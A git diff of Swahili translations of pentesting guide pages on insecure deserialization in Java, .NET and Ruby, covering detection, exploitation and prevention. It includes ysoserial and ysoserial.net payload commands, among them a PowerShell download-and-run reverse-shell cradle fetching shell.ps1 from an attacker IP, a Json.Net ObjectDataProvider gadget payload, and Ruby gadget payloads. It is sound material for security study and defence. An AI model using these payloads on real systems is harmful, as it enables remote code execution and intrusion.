Java - HTTP -Katika Java, **kurejesha maoni kunatekelezwa wakati wa mchakato wa kurejesha**. Utendaji huu unaweza kutumiwa na washambuliaji wanaounda payload hatari zinazochochea maoni haya, na kusababisha utekelezaji wa vitendo vya hatari. +Katika Java, **kurejesha maoni ya deserialization hufanyika wakati wa mchakato wa deserialization**. Utendaji huu unaweza kutumiwa na washambuliaji wanaounda payload hatari zinazochochea maoni haya, na kusababisha utekelezaji wa vitendo vya hatari. -### Alama +### Alama za Kidole #### Sanduku la Nyeupe @@ -327,21 +327,21 @@ Ili kubaini uwezekano wa udhaifu wa serialization katika msimbo, tafuta: Zingatia kwa makini: - `XMLDecoder` inayotumika na vigezo vilivyofafanuliwa na watumiaji wa nje. -- Njia ya `fromXML` ya `XStream`, hasa ikiwa toleo la XStream ni sawa na au chini ya 1.46, kwani linaweza kuwa hatarini kwa masuala ya serialization. +- Njia ya `fromXML` ya `XStream`, hasa ikiwa toleo la XStream ni sawa na au chini ya 1.46, kwani linaweza kuathirika na masuala ya serialization. - `ObjectInputStream` iliyoambatanishwa na njia ya `readObject`. - Utekelezaji wa njia kama `readObject`, `readObjectNodData`, `readResolve`, au `readExternal`. - `ObjectInputStream.readUnshared`. - Matumizi ya jumla ya `Serializable`. -#### Sanduku la Black +#### Sanduku la Nyeusi -Kwa upimaji wa sanduku la black, angalia **sahihi maalum au "Magic Bytes"** zinazotambulisha vitu vilivyopangwa vya java (vinavyotokana na `ObjectInputStream`): +Kwa upimaji wa sanduku la nyeusi, tafuta **sahihi maalum au "Magic Bytes"** zinazotambulisha vitu vilivyopangwa vya java (vinavyotokana na `ObjectInputStream`): - Mchoro wa hexadecimal: `AC ED 00 05`. - Mchoro wa Base64: `rO0`. -- Vichwa vya majibu ya HTTP vyenye `Content-type` vilivyowekwa kuwa `application/x-java-serialized-object`. -- Mchoro wa hexadecimal unaoashiria kubana awali: `1F 8B 08 00`. -- Mchoro wa Base64 unaoashiria kubana awali: `H4sIA`. +- Vichwa vya majibu ya HTTP vilivyowekwa `Content-type` kuwa `application/x-java-serialized-object`. +- Mchoro wa hexadecimal unaoashiria kufungwa kwa awali: `1F 8B 08 00`. +- Mchoro wa Base64 unaoashiria kufungwa kwa awali: `H4sIA`. - Faili za wavuti zenye kiambishi cha `.faces` na parameter ya `faces.ViewState`. Kugundua mifumo hii katika programu ya wavuti inapaswa kusababisha uchunguzi kama ilivyoelezwa katika [post kuhusu Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md). ``` javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s @@ -358,7 +358,7 @@ find . -iname "*commons*collection*" grep -R InvokeTransformer . ``` Unaweza kujaribu **kuangalia maktaba zote** zinazojulikana kuwa na udhaifu na ambazo [**Ysoserial**](https://github.com/frohoff/ysoserial) inaweza kutoa exploit kwa ajili yake. Au unaweza kuangalia maktaba zilizoonyeshwa kwenye [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ -Pia unaweza kutumia [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) kutafuta mnyororo wa gadget zinazoweza kutumika.\ +Pia unaweza kutumia [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) kutafuta mnyororo wa gadget unaoweza kutumika.\ Unapokimbia **gadgetinspector** (baada ya kuijenga) usijali kuhusu maonyo/makosa mengi ambayo inapitia na uache ikamilike. Itandika matokeo yote chini ya _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Tafadhali, fahamu kwamba **gadgetinspector haitaunda exploit na inaweza kuonyesha matokeo yasiyo sahihi**. #### Black Box Test @@ -371,7 +371,7 @@ Kwa kutumia nyongeza ya Burp [**Java Deserialization Scanner**](java-dns-deseria [**Soma hii kujifunza zaidi kuhusu Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ Java Deserialization Scanner inazingatia **`ObjectInputStream`** deserializations. -Pia unaweza kutumia [**Freddy**](https://github.com/nccgroup/freddy) **kubaini udhaifu wa deserialization** katika **Burp**. Plugin hii itagundua **si tu udhaifu wa `ObjectInputStream`** bali **pia** udhaifu kutoka **Json** na **Yml** maktaba za deserialization. Katika hali ya kazi, itajaribu kuthibitisha kwa kutumia payload za usingizi au DNS.\ +Pia unaweza kutumia [**Freddy**](https://github.com/nccgroup/freddy) **kubaini udhaifu wa deserialization** katika **Burp**. Plugin hii itagundua **si tu udhaifu wa `ObjectInputStream`** bali **pia** udhaifu kutoka **Json** na **Yml** deserialization maktaba. Katika hali ya kazi, itajaribu kuthibitisha kwa kutumia payload za usingizi au DNS.\ [**Unaweza kupata maelezo zaidi kuhusu Freddy hapa.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) **Serialization Test** @@ -383,9 +383,9 @@ Ikiwa unapata kitu kilichosajiliwa cha java kinachotumwa kwa programu ya wavuti, #### **ysoserial** -Chombo kikuu cha kutumia exploit Java deserializations ni [**ysoserial**](https://github.com/frohoff/ysoserial) ([**pakua hapa**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Unaweza pia kufikiria kutumia [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) ambayo itakuruhusu kutumia amri ngumu (kwa mfano na pipes).\ -Kumbuka kwamba chombo hiki kina **zingatia** kutumia **`ObjectInputStream`**.\ -Ningekuwa **naanza kutumia payload ya "URLDNS"** **kabla ya payload ya RCE** ili kujaribu kama sindano inawezekana. Hata hivyo, kumbuka kwamba labda payload ya "URLDNS" haifanyi kazi lakini payload nyingine ya RCE inafanya. +Chombo kikuu cha kutumia exploit Java deserializations ni [**ysoserial**](https://github.com/frohoff/ysoserial) ([**pakua hapa**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Unaweza pia kuzingatia kutumia [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) ambayo itakuruhusu kutumia amri ngumu (kwa mfano na pipes).\ +Fahamu kwamba chombo hiki kina **zingatia** kutumia **`ObjectInputStream`**.\ +Ningekuwa **naanza kutumia payload ya "URLDNS"** **kabla ya payload ya RCE** ili kujaribu kama sindano inawezekana. Hata hivyo, fahamu kwamba labda payload ya "URLDNS" haitafanya kazi lakini payload nyingine ya RCE inafanya kazi. ```bash # PoC to make the application perform a DNS req java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload @@ -495,9 +495,9 @@ Java inatumia serialization nyingi kwa madhumuni mbalimbali kama: - **HTTP requests**: Serialization inatumika sana katika usimamizi wa vigezo, ViewState, cookies, nk. - **RMI (Remote Method Invocation)**: Protokali ya Java RMI, ambayo inategemea kabisa serialization, ni msingi wa mawasiliano ya mbali katika programu za Java. -- **RMI over HTTP**: Njia hii inatumika kawaida na programu za wavuti za Java zenye mteja mzito, zikitumika serialization kwa mawasiliano yote ya vitu. +- **RMI juu ya HTTP**: Njia hii inatumika kawaida na programu za wavuti za mteja mzito za Java, zikitumika serialization kwa mawasiliano yote ya vitu. - **JMX (Java Management Extensions)**: JMX inatumia serialization kwa kutuma vitu kupitia mtandao. -- **Protokali za Kijadi**: Katika Java, mazoea ya kawaida yanahusisha usafirishaji wa vitu vya Java safi, ambavyo vitadhihirishwa katika mifano ijayo ya exploit. +- **Protokali za Kijadi**: Katika Java, mazoea ya kawaida yanahusisha usafirishaji wa vitu safi vya Java, ambayo itaonyeshwa katika mifano ijayo ya exploit. ### Kuzuia @@ -512,7 +512,7 @@ private transient double margin; // declared transient ``` #### Epuka Serialization ya darasa ambalo linahitaji kutekeleza Serializable -Katika hali ambapo **vitu fulani vinapaswa kutekeleza interface ya `Serializable`** kutokana na hierarchi ya darasa, kuna hatari ya deserialization isiyo ya makusudi. Ili kuzuia hili, hakikisha vitu hivi havina uwezo wa deserializable kwa kufafanua njia ya `final` `readObject()` ambayo daima inatupa kivunjaji, kama inavyoonyeshwa hapa chini: +Katika hali ambapo **vitu fulani vinapaswa kutekeleza interface ya `Serializable`** kutokana na mfuatano wa darasa, kuna hatari ya deserialization isiyo ya makusudi. Ili kuzuia hili, hakikisha vitu hivi havina uwezo wa deserializable kwa kufafanua njia ya `final` `readObject()` ambayo kila wakati inatupa kivunjaji, kama inavyoonyeshwa hapa chini: ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); @@ -525,7 +525,7 @@ throw new java.io.IOException("Cannot be deserialized"); - Msimbo wa deserialization uko chini ya udhibiti wako. - Madarasa yanayotarajiwa kwa deserialization yanajulikana. -Pitia **`resolveClass()`** ili kupunguza deserialization kwa madarasa yaliyoruhusiwa tu. Hii inazuia deserialization ya darasa lolote isipokuwa yale yaliyoruhusiwa wazi, kama katika mfano ufuatao unaopunguza deserialization kwa darasa la `Bicycle` tu: +Pitia **`resolveClass()`** ili kupunguza deserialization kwa madarasa yaliyoruhusiwa tu. Hii inazuia deserialization ya darasa lolote isipokuwa yale yaliyoruhusiwa wazi, kama katika mfano ufuatao unaopunguza deserialization kwa darasa la `Bicycle` pekee: ```java // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html public class LookAheadObjectInputStream extends ObjectInputStream { @@ -556,7 +556,7 @@ Angalia mfano katika [rO0 by Contrast Security](https://github.com/Contrast-Secu **Kutekeleza Filters za Serialization**: Java 9 ilianzisha filters za serialization kupitia **`ObjectInputFilter`** interface, ikitoa mekanizma yenye nguvu ya kuweka vigezo ambavyo vitu vilivyohifadhiwa vinapaswa kukutana navyo kabla ya deserialization. Filters hizi zinaweza kutumika kwa kiwango cha jumla au kwa kila mtiririko, zikitoa udhibiti wa kina juu ya mchakato wa deserialization. -Ili kutumia filters za serialization, unaweza kuweka filter ya jumla inayotumika kwa shughuli zote za deserialization au kuikamilisha kwa njia ya kidinamik kwa mtiririko maalum. Kwa mfano: +Ili kutumia filters za serialization, unaweza kuweka filter ya jumla inayotumika kwa shughuli zote za deserialization au kuisawazisha kwa njia ya kidinamik kwa mtiririko maalum. Kwa mfano: ```java ObjectInputFilter filter = info -> { if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth @@ -590,7 +590,7 @@ ObjectInputFilter.Config.setSerialFilter(filter); ## JNDI Injection & log4Shell -Pata kile ambacho ni **JNDI Injection, jinsi ya kukitumia kupitia RMI, CORBA & LDAP na jinsi ya kutumia log4shell** (na mfano wa vuln hii) katika ukurasa ufuatao: +Pata kile ambacho ni **JNDI Injection, jinsi ya kulitumia kupitia RMI, CORBA & LDAP na jinsi ya kutumia log4shell** (na mfano wa vuln hii) katika ukurasa ufuatao: {{#ref}} jndi-java-naming-and-directory-interface-and-log4shell.md @@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md ## JMS - Java Message Service -> API ya **Java Message Service** (**JMS**) ni API ya Java inayolenga ujumbe kwa kutuma ujumbe kati ya wateja wawili au zaidi. Ni utekelezaji wa kushughulikia tatizo la mtengenezaji-mtumiaji. JMS ni sehemu ya Java Platform, Enterprise Edition (Java EE), na ilifafanuliwa na spesifikesheni iliyotengenezwa katika Sun Microsystems, lakini ambayo tangu wakati huo imeongozwa na Mchakato wa Jamii ya Java. Ni kiwango cha ujumbe kinachoruhusu vipengele vya programu vinavyotegemea Java EE kuunda, kutuma, kupokea, na kusoma ujumbe. Inaruhusu mawasiliano kati ya vipengele tofauti vya programu iliyosambazwa kuwa na uhusiano wa kulegea, wa kuaminika, na wa asynchronic. (Kutoka [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). +> API ya **Java Message Service** (**JMS**) ni API ya Java inayolenga ujumbe kwa ajili ya kutuma ujumbe kati ya wateja wawili au zaidi. Ni utekelezaji wa kushughulikia tatizo la mtengenezaji-mtumiaji. JMS ni sehemu ya Java Platform, Enterprise Edition (Java EE), na ilifafanuliwa na spesifikesheni iliyotengenezwa katika Sun Microsystems, lakini ambayo tangu wakati huo imeongozwa na Java Community Process. Ni kiwango cha ujumbe kinachoruhusu vipengele vya programu vinavyotegemea Java EE kuunda, kutuma, kupokea, na kusoma ujumbe. Inaruhusu mawasiliano kati ya vipengele tofauti vya programu iliyosambazwa kuwa na uhusiano wa kulegea, wa kuaminika, na wa asynchronic. (Kutoka [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). ### Bidhaa @@ -610,10 +610,10 @@ Kuna bidhaa kadhaa zinazotumia middleware hii kutuma ujumbe: ### Utekelezaji -Hivyo, kimsingi kuna **huduma nyingi zinazotumia JMS kwa njia hatari**. Kwa hivyo, ikiwa una **privilege za kutosha** kutuma ujumbe kwa huduma hizi (kawaida utahitaji akreditif halali) unaweza kuwa na uwezo wa kutuma **vitu vya hatari vilivyohifadhiwa ambavyo vitatafsiriwa na mtumiaji/mwandikaji**.\ +Hivyo, kimsingi kuna **huduma nyingi zinazotumia JMS kwa njia hatari**. Kwa hivyo, ikiwa una **privileges za kutosha** kutuma ujumbe kwa huduma hizi (kawaida utahitaji akreditif za halali) unaweza kuwa na uwezo wa kutuma **vitu vya hatari vilivyohifadhiwa ambavyo vitatafsiriwa na mtumiaji/mwandikaji**.\ Hii inamaanisha kwamba katika utekelezaji huu **wateja wote watakaotumia ujumbe huo wataambukizwa**. -Unapaswa kukumbuka kwamba hata kama huduma ina udhaifu (kwa sababu inatafsiri kwa usalama maoni ya mtumiaji) bado unahitaji kutafuta gadgets halali ili kutumia udhaifu huo. +Unapaswa kukumbuka kwamba hata kama huduma ina udhaifu (kwa sababu inatafsiri kwa usalama usio salama pembejeo za mtumiaji) bado unahitaji kutafuta gadgets halali ili kutumia udhaifu huo. Zana [JMET](https://github.com/matthiaskaiser/jmet) ilitengenezwa ili **kuunganisha na kushambulia huduma hizi kwa kutuma vitu kadhaa vya hatari vilivyohifadhiwa kwa kutumia gadgets zinazojulikana**. Hizi exploit zitaweza kufanya kazi ikiwa huduma bado ina udhaifu na ikiwa yoyote ya gadgets zilizotumika iko ndani ya programu iliyo hatarini. @@ -639,7 +639,7 @@ Kipaumbele kinapaswa kuwa kwa serializers zinazoruhusu aina kuamuliwa na variabl #### BlackBox -Utafutaji unapaswa kulenga mfuatano wa string iliyokodishwa ya Base64 **AAEAAAD/////** au muundo wowote wa kufanana ambao unaweza kupitia deserialization upande wa seva, ukitoa udhibiti juu ya aina itakayokuwa ikitafsiriwa. Hii inaweza kujumuisha, lakini si tu, muundo wa **JSON** au **XML** unaoonyesha `TypeObject` au `$type`. +Utafutaji unapaswa kulenga mfuatano wa string iliyokodishwa kwa Base64 **AAEAAAD/////** au muundo wowote wa kufanana ambao unaweza kupitia deserialization upande wa seva, ukitoa udhibiti juu ya aina itakayokuwa ikitafsiriwa. Hii inaweza kujumuisha, lakini si tu, muundo wa **JSON** au **XML** unaoonyesha `TypeObject` au `$type`. ### ysoserial.net @@ -650,8 +650,8 @@ Ikiwa unataka kujifunza kuhusu **jinsi ysoserial.net inavyounda exploit zake** u Chaguzi kuu za **ysoserial.net** ni: **`--gadget`**, **`--formatter`**, **`--output`** na **`--plugin`.** - **`--gadget`** inatumika kuashiria gadget ya kutumia (onyesha darasa/funzo ambalo litakabiliwa wakati wa deserialization ili kutekeleza amri). -- **`--formatter`**, inatumika kuashiria njia ya kuhifadhi exploit (unahitaji kujua ni maktaba gani inayotumika kwenye back-end kutafsiri payload na utumie ile ile kuhifadhi). -- **`--output`** inatumika kuashiria ikiwa unataka exploit katika **raw** au **base64** iliyokodishwa. _Kumbuka kwamba **ysoserial.net** itakuwa **inaandika** payload kwa kutumia **UTF-16LE** (encoding inayotumika kwa default kwenye Windows) hivyo ikiwa unapata raw na unaiandika tu kutoka kwenye console ya linux unaweza kuwa na matatizo ya **ufanisi wa encoding** ambayo yatakwamisha exploit kufanya kazi ipasavyo (katika sanduku la HTB JSON payload ilifanya kazi katika UTF-16LE na ASCII lakini hii haimaanishi itafanya kazi kila wakati)._ +- **`--formatter`**, inatumika kuashiria njia ya kuhifadhi exploit (unahitaji kujua ni maktaba gani inayotumika kwenye back-end kutafsiri payload na utumie ile ile kuihifadhi) +- **`--output`** inatumika kuashiria ikiwa unataka exploit katika **raw** au **base64** iliyokodishwa. _Kumbuka kwamba **ysoserial.net** itakuwa **inakodisha** payload kwa kutumia **UTF-16LE** (encoding inayotumika kwa chaguo-msingi kwenye Windows) hivyo ikiwa unapata raw na unakodisha tu kutoka kwenye console ya linux unaweza kuwa na baadhi ya **matatizo ya ulinganifu wa encoding** ambayo yatakwamisha exploit kufanya kazi ipasavyo (katika sanduku la HTB JSON payload ilifanya kazi katika UTF-16LE na ASCII lakini hii haimaanishi itafanya kazi kila wakati)._ - **`--plugin`** ysoserial.net inasaidia plugins kutengeneza **exploits kwa mifumo maalum** kama ViewState #### Zaidi ya vigezo vya ysoserial.net @@ -660,7 +660,7 @@ Chaguzi kuu za **ysoserial.net** ni: **`--gadget`**, **`--formatter`**, **`--out - `--raf -f Json.Net -c "chochote"` Hii itaonyesha gadgets zote zinazoweza kutumika na formatter iliyotolewa (`Json.Net` katika kesi hii) - `--sf xml` unaweza **kuonyesha gadget** (`-g`) na ysoserial.net itatafuta formatters zinazojumuisha "xml" (bila kujali herufi kubwa au ndogo) -**Mifano ya ysoserial** ya kuunda exploits: +**Mifano ya ysoserial** kuunda exploits: ```bash #Send ping ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64 @@ -679,7 +679,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell. ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ``` **ysoserial.net** pia ina **kipengele cha kuvutia sana** ambacho husaidia kuelewa vizuri jinsi kila exploit inavyofanya kazi: `--test`\ -Ikiwa utaashiria kipengele hiki **ysoserial.net** itajaribu **exploit kwa ndani,** hivyo unaweza kujaribu kama payload yako itafanya kazi vizuri.\ +Ikiwa utaashiria kipengele hiki **ysoserial.net** itajaribu **exploit kwa ndani,** hivyo unaweza kujaribu kama payload yako itafanya kazi ipasavyo.\ Kipengele hiki ni muhimu kwa sababu ukikagua msimbo utapata vipande vya msimbo kama ifuatavyo (kutoka [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java if (inputArgs.Test) @@ -710,18 +710,18 @@ Kwa hiyo, **`--test`** parameter inatupa uwezo wa kuelewa **ni sehemu zipi za ms ### ViewState -Angalia [hii POST kuhusu **jinsi ya kujaribu kushambulia parameter ya \_\_ViewState ya .Net**](exploiting-__viewstate-parameter.md) ili **kutekeleza msimbo wa kiholela.** Ikiwa **tayari unajua siri** zinazotumiwa na mashine ya mwathirika, [**soma hii post kujua jinsi ya kutekeleza msimbo**](exploiting-__viewstate-knowing-the-secret.md)**.** +Angalia [hii POST kuhusu **jinsi ya kujaribu kuhamasisha parameter ya \_\_ViewState ya .Net**](exploiting-__viewstate-parameter.md) ili **kutekeleza msimbo wowote.** Ikiwa **tayari unajua siri** zinazotumiwa na mashine ya mwathirika, [**soma hii post kujua jinsi ya kutekeleza msimbo**](exploiting-__viewstate-knowing-the-secret.md)**.** -### Prevention +### Kuzuia Ili kupunguza hatari zinazohusiana na deserialization katika .Net: - **Epuka kuruhusu mitiririko ya data kufafanua aina zao za vitu.** Tumia `DataContractSerializer` au `XmlSerializer` inapowezekana. - **Kwa `JSON.Net`, weka `TypeNameHandling` kuwa `None`:** %%%TypeNameHandling = TypeNameHandling.None%%% - **Epuka kutumia `JavaScriptSerializer` na `JavaScriptTypeResolver`.** -- **Punguza aina ambazo zinaweza ku-deserialize**, ukielewa hatari zilizopo na aina za .Net, kama `System.IO.FileInfo`, ambayo inaweza kubadilisha mali za faili za seva, na hivyo kusababisha mashambulizi ya kukatiza huduma. -- **Kuwa makini na aina zenye mali hatari**, kama `System.ComponentModel.DataAnnotations.ValidationException` yenye mali yake ya `Value`, ambayo inaweza kutumika vibaya. -- **Dhibiti kwa usalama uundaji wa aina** ili kuzuia washambuliaji kuathiri mchakato wa deserialization, na kufanya hata `DataContractSerializer` au `XmlSerializer` kuwa hatarini. +- **Punguza aina ambazo zinaweza kuhamasishwa**, ukielewa hatari zilizopo na aina za .Net, kama `System.IO.FileInfo`, ambayo inaweza kubadilisha mali za faili za seva, na hivyo kusababisha mashambulizi ya kukatiza huduma. +- **Kuwa makini na aina zenye mali hatari**, kama `System.ComponentModel.DataAnnotations.ValidationException` yenye mali yake ya `Value`, ambayo inaweza kutumiwa vibaya. +- **Dhibiti kwa usalama uanzishaji wa aina** ili kuzuia washambuliaji kuathiri mchakato wa deserialization, na hivyo kufanya hata `DataContractSerializer` au `XmlSerializer` kuwa hatarini. - **Tekeleza udhibiti wa orodha nyeupe** kwa kutumia `SerializationBinder` maalum kwa `BinaryFormatter` na `JSON.Net`. - **Kuwa na habari kuhusu vifaa vya deserialization visivyo salama vilivyojulikana** ndani ya .Net na kuhakikisha deserializers hazianzishi aina kama hizo. - **Tenga msimbo unaoweza kuwa hatari** kutoka kwa msimbo wenye ufikiaji wa mtandao ili kuepuka kufichua vifaa vilivyojulikana, kama `System.Windows.Data.ObjectDataProvider` katika programu za WPF, kwa vyanzo vya data visivyoaminika. @@ -737,7 +737,7 @@ Ili kupunguza hatari zinazohusiana na deserialization katika .Net: Katika Ruby, serialization inarahisishwa na mbinu mbili ndani ya maktaba ya **marshal**. Mbinu ya kwanza, inayojulikana kama **dump**, inatumika kubadilisha kitu kuwa mtiririko wa byte. Mchakato huu unajulikana kama serialization. Kinyume chake, mbinu ya pili, **load**, inatumika kurudisha mtiririko wa byte kuwa kitu, mchakato unaojulikana kama deserialization. -Ili kulinda vitu vilivyotolewa, **Ruby inatumia HMAC (Hash-Based Message Authentication Code)**, kuhakikisha uadilifu na ukweli wa data. Funguo inayotumika kwa ajili hii inahifadhiwa katika moja ya maeneo kadhaa yanayowezekana: +Ili kulinda vitu vilivyohifadhiwa, **Ruby inatumia HMAC (Hash-Based Message Authentication Code)**, kuhakikisha uaminifu na ukweli wa data. Funguo inayotumika kwa ajili hii inahifadhiwa katika moja ya maeneo kadhaa yanayowezekana: - `config/environment.rb` - `config/initializers/secret_token.rb` @@ -825,8 +825,8 @@ Kwa mfano, kuita eval na kisha msimbo wa ruby kama parameter ya pili kutaruhusu ```ruby .send('eval', '') == RCE ``` -Zaidi ya hayo, ikiwa tu parameter moja ya **`.send()`** inasimamiwa na mshambuliaji, kama ilivyotajwa katika andiko la awali, inawezekana kuita njia yoyote ya kitu ambacho **hakihitaji hoja** au ambazo hoja zake zina **thamani za chaguo-msingi**.\ -Kwa hili, inawezekana kuhesabu njia zote za kitu ili **kupata baadhi ya njia za kuvutia ambazo zinakidhi mahitaji hayo**. +Zaidi ya hayo, ikiwa tu parameter moja ya **`.send()`** inasimamiwa na mshambuliaji, kama ilivyotajwa katika andiko la awali, inawezekana kuita njia yoyote ya kitu ambacho **hakihitaji hoja** au ambazo hoja zake zina **thamani za default**.\ +Kwa hili, inawezekana kuhesabu njia zote za kitu ili **kupata baadhi ya njia za kuvutia zinazokidhi mahitaji hayo**. ```ruby .send('') @@ -854,7 +854,7 @@ Angalia jinsi inaweza kuwa inawezekana [kuharibu darasa la Ruby na kulitumia hap ### Ruby _json pollution -Wakati wa kutuma mwili baadhi ya thamani zisizoweza kuhesabiwa kama array zitaongezwa kwenye ufunguo mpya unaoitwa `_json`. Hata hivyo, inawezekana kwa mshambuliaji pia kuweka katika mwili thamani inayoitwa `_json` yenye thamani za kiholela anazotaka. Kisha, ikiwa backend kwa mfano inakagua ukweli wa parameter lakini pia inatumia parameter `_json` kufanya kitendo fulani, inaweza kufanyika kupita idhini. +Wakati wa kutuma mwili baadhi ya thamani zisizoweza kuhesabiwa kama array zitaongezwa kwenye ufunguo mpya unaoitwa `_json`. Hata hivyo, inawezekana kwa mshambuliaji pia kuweka katika mwili thamani inayoitwa `_json` yenye thamani za kiholela anazotaka. Kisha, ikiwa backend kwa mfano inakagua ukweli wa parameter lakini kisha pia inatumia parameter `_json` kufanya kitendo fulani, inaweza kufanyika kupita idhini. Angalia maelezo zaidi katika [ukurasa wa Ruby _json pollution](ruby-_json-pollution.md). @@ -888,7 +888,7 @@ puts json_payload # Sink vulnerable inside the code accepting user input as json_payload Oj.load(json_payload) ``` -Katika kesi ya kujaribu kutumia Oj, ilikuwa inawezekana kupata darasa la gadget ambalo ndani ya kazi yake ya `hash` litaita `to_s`, ambayo itaita spec, ambayo itaita fetch_path ambayo ilikuwa inawezekana kuifanya ipate URL ya nasibu, ikitoa detector bora wa aina hizi za udhaifu wa deserialization zisizo na usafi. +Katika kesi ya kujaribu kutumia Oj, ilikuwapo uwezekano wa kupata darasa la gadget ambalo ndani ya kazi yake ya `hash` litaita `to_s`, ambayo itaita spec, ambayo itaita fetch_path ambayo ilikuwapo uwezekano wa kufanya iweze kupata URL ya nasibu, ikitoa detector bora wa aina hizi za udhaifu wa deserialization zisizo na usafi. ```json { "^o": "URI::HTTP", diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index 08156d240..a40e86ab8 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -6,9 +6,9 @@ Post hii inajitolea kwa **kuelewa jinsi gadget ya ObjectDataProvider inavyotumiw ## Gadget ya ObjectDataProvider -Kutoka kwenye hati: _darasa la ObjectDataProvider linafungia na kuunda kitu ambacho unaweza kutumia kama chanzo cha uhusiano_.\ -Ndio, ni maelezo ya ajabu, hivyo hebu tuone ni nini darasa hili lina ambacho ni cha kuvutia sana: Darasa hili linaruhusu **kufunga kitu chochote**, kutumia _**MethodParameters**_ ili **kweka vigezo vyovyote,** na kisha **kutumia MethodName kuita kazi yoyote** ya kitu chochote kilichotangazwa kwa kutumia vigezo vyovyote.\ -Hivyo, **kitu** hicho kitafanya **kazi** na **vigezo wakati kinapokuwa kinadeserialized.** +Kutoka kwenye nyaraka: _darasa la ObjectDataProvider linafungua na kuunda kitu ambacho unaweza kutumia kama chanzo cha uhusiano_.\ +Ndio, ni maelezo ya ajabu, hivyo hebu tuone ni nini darasa hili lina ambacho ni cha kuvutia sana: Darasa hili linaruhusu **kufunga kitu chochote**, kutumia _**MethodParameters**_ kuweka **vigezo vyovyote,** na kisha **kutumia MethodName kuita kazi yoyote** ya kitu chochote kilichotangazwa kwa kutumia vigezo vyovyote.\ +Hivyo, **kitu** chochote kitafanya **kazi** na **vigezo wakati kinapokuwa kinadeserialized.** ### **Jinsi hii inavyowezekana** @@ -85,7 +85,7 @@ myExpWrap.ProjectedProperty0.MethodName = "Start"; ``` ## Json.Net -Katika [ukurasa rasmi](https://www.newtonsoft.com/json) inaonyeshwa kwamba maktaba hii inaruhusu **Kuhifadhi na kufungua tena kitu chochote cha .NET kwa kutumia JSON serializer yenye nguvu ya Json.NET**. Hivyo, ikiwa tunaweza **kufungua tena gadget ya ObjectDataProvider**, tunaweza kusababisha **RCE** kwa kufungua tena kitu. +Katika [ukurasa rasmi](https://www.newtonsoft.com/json) inaonyeshwa kwamba maktaba hii inaruhusu **Kuhifadhi na kufungua tena kitu chochote cha .NET kwa kutumia serializer wa JSON wenye nguvu wa Json.NET**. Hivyo, ikiwa tunaweza **kufungua tena gadget ya ObjectDataProvider**, tunaweza kusababisha **RCE** kwa kufungua tena kitu. ### Mfano wa Json.Net @@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` -Katika hii code unaweza **kujaribu exploit**, endesha tu na utaona kwamba calc inatekelezwa: +Katika hii nambari unaweza **kujaribu exploit**, endesha tu na utaona kwamba calc inatekelezwa: ```java using System; using System.Text; diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index 09e248c7b..7da3e8090 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -22,9 +22,9 @@ Taarifa za ViewState zinaweza kuainishwa kwa mali zifuatazo au mchanganyiko wao: Picha ni jedwali linaloelezea usanidi tofauti wa ViewState katika ASP.NET kulingana na toleo la mfumo wa .NET. Hapa kuna muhtasari wa maudhui: 1. Kwa **toleo lolote la .NET**, wakati MAC na Ufunguo zimezimwa, MachineKey haitahitajika, na hivyo hakuna njia inayofaa ya kuibaini. -2. Kwa **matoleo chini ya 4.5**, ikiwa MAC imewezeshwa lakini 